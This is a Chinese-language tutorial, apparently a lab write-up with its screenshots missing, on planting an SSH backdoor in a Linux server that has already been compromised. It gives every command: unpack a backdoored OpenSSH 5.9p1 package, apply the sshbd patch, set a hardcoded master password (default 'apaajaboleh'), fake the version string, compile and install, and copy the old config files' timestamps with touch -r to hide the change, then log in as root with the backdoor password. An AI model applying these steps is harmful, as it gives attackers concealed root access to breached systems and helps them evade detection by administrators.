SSH后门安装

一：前言

通过WinSCP与Linux服务器进行连接，然后配置安装SSH后门，这次实验主要目的通过实践学习熟悉Linux SSH后门的安装过程和步骤。

利用winSCP工具（也可以选用其他工具）连接已知（即已经渗透成功的服务器）服务器，如图：

连接成功后：

用SecureCRT连接成功后如图：

通过ssh -V查看当前SSH版本

上传带有后门的SSH安装包

上传工具（上面提到的WinSCP、SecureCRT、putty都可以，自行选择）

解压上传的安装包

tar zxf openssh-5.9p1.tar.gz

tar zxf 0x06-openssh-5.9p1.patch.tar.gz

执行如下命令，移动原有配置文件

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

复制文件sshbd5.9p1.diff到openssh-5.9p1目录

cd openssh-5.9p1.patch/

cp sshbd5.9p1.diff …/openssh-5.9p1

cd …/openssh-5.9p1

patch < sshbd5.9p1.diff

编辑includes.h文件，设置自己的后门密码

vi includes.h

找到#define SECRETPW “apaajaboleh” // apaajaboleh为后门的密码可修改成自己设定的密码，如图

修改当前系统的SSH版本

通过ssh -V查看当前SSH版本，记录下来

vi version.h 修改version.h文件的版本信息

执行./configure --prefix=/usr --sysconfdir=/etc/ssh指定配置选项

执行make && make install 编译安装

安转完成后如图：

touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config //修改日期

touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config //修改日期

/etc/init.d/ssh restart //重启ssh服务

用连接工具连接，用户名为root，密码为前面设置的SSH后门的密码